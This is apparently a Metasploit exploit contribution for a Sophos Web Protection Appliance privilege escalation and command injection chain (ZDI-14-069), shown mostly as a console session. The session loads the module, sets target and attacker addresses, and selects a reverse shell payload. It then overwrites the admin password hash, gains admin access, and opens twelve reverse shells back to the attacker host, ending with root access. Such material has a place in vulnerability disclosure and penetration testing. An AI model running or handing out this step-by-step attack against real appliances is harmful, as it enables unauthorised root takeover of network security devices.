Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerability

This module exploits both bugs in http://www.zerodayinitiative.com/advisories/ZDI-14-069/ to achieve remote command execution as root.

pcap of below shell is here: http://volatileminds.net/sophos_pcap2. It is over SSL until the very end, where I type 'id' and it returns the results (root, w00t).


For some reason, it pops like 10 shells. I'm not complaining.

```
bperry@w00den-pickle:~/Projects/metasploit-framework$ ./msfconsole

 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                        http://metasploit.pro |
|______________________________________________________________________________|


       =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1273 exploits - 691 auxiliary - 201 post ]
+ -- --=[ 330 payloads - 32 encoders - 8 nops      ]

msf > use exploit/linux/http/sophos_wpa_iface_exec 
msf exploit(sophos_wpa_iface_exec) > set USERNAME username
USERNAME => username
msf exploit(sophos_wpa_iface_exec) > set PASSWORD password
PASSWORD => password
msf exploit(sophos_wpa_iface_exec) > set RHOST 192.168.1.16
RHOST => 192.168.1.16
msf exploit(sophos_wpa_iface_exec) > set LHOST 192.168.1.31
LHOST => 192.168.1.31
msf exploit(sophos_wpa_iface_exec) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(sophos_wpa_iface_exec) > show options

Module options (exploit/linux/http/sophos_wpa_iface_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   password         yes       The password to authenticate with
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.16     yes       The target address
   RPORT      443              yes       The target port
   TARGETURI  /                yes       The target URI
   USERNAME   username         yes       The username to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.31     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Sophos Web Protection Appliance 3.8.1.1


msf exploit(sophos_wpa_iface_exec) > exploit

[*] Started reverse double handler
[*] Getting STYLE key...
[*] Authenticating as username
[*] Changing old password hash to notpassword
[*] Logging in as the admin now
[*] Sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 13qzy5gOZp90ddaj;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "13qzy5gOZp90ddaj\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.1.31:4444 -> 192.168.1.16:47975) at 2014-04-08 21:09:23 -0500
[*] Command: echo NeTy9XpwVlEqfopW;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "NeTy9XpwVlEqfopW\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 2 opened (192.168.1.31:4444 -> 192.168.1.16:47977) at 2014-04-08 21:09:24 -0500
[*] Command: echo yqZY427RE5DoWwNT;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "yqZY427RE5DoWwNT\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.16:47979) at 2014-04-08 21:09:26 -0500
[*] Command: echo XHCTDHr3EdXNb11N;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "XHCTDHr3EdXNb11N\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 4 opened (192.168.1.31:4444 -> 192.168.1.16:47982) at 2014-04-08 21:09:27 -0500
[*] Command: echo Pf9Zz0k7MkvcAZoX;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Pf9Zz0k7MkvcAZoX\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 5 opened (192.168.1.31:4444 -> 192.168.1.16:47983) at 2014-04-08 21:09:28 -0500
[*] Command: echo CclsHxra4R71s1tr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "CclsHxra4R71s1tr\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 6 opened (192.168.1.31:4444 -> 192.168.1.16:47986) at 2014-04-08 21:09:29 -0500
[*] Command: echo l7IVRHkuZdriiEvP;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "l7IVRHkuZdriiEvP\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 7 opened (192.168.1.31:4444 -> 192.168.1.16:47988) at 2014-04-08 21:09:31 -0500
[*] Command: echo xWCPUPymDFn1VuxO;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xWCPUPymDFn1VuxO\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 8 opened (192.168.1.31:4444 -> 192.168.1.16:47989) at 2014-04-08 21:09:32 -0500
[*] Command: echo 7rFfJS056EUcANWh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "7rFfJS056EUcANWh\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 9 opened (192.168.1.31:4444 -> 192.168.1.16:47992) at 2014-04-08 21:09:33 -0500
[*] Command: echo PRr6YmvS62Kvp5tc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "PRr6YmvS62Kvp5tc\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 10 opened (192.168.1.31:4444 -> 192.168.1.16:47993) at 2014-04-08 21:09:35 -0500
[*] Command: echo FpXLxteg6oWmqGDJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "FpXLxteg6oWmqGDJ\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 11 opened (192.168.1.31:4444 -> 192.168.1.16:47996) at 2014-04-08 21:09:36 -0500
[*] Command: echo kLkmX63FQallRZ3D;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "kLkmX63FQallRZ3D\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 12 opened (192.168.1.31:4444 -> 192.168.1.16:47998) at 2014-04-08 21:09:37 -0500

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

```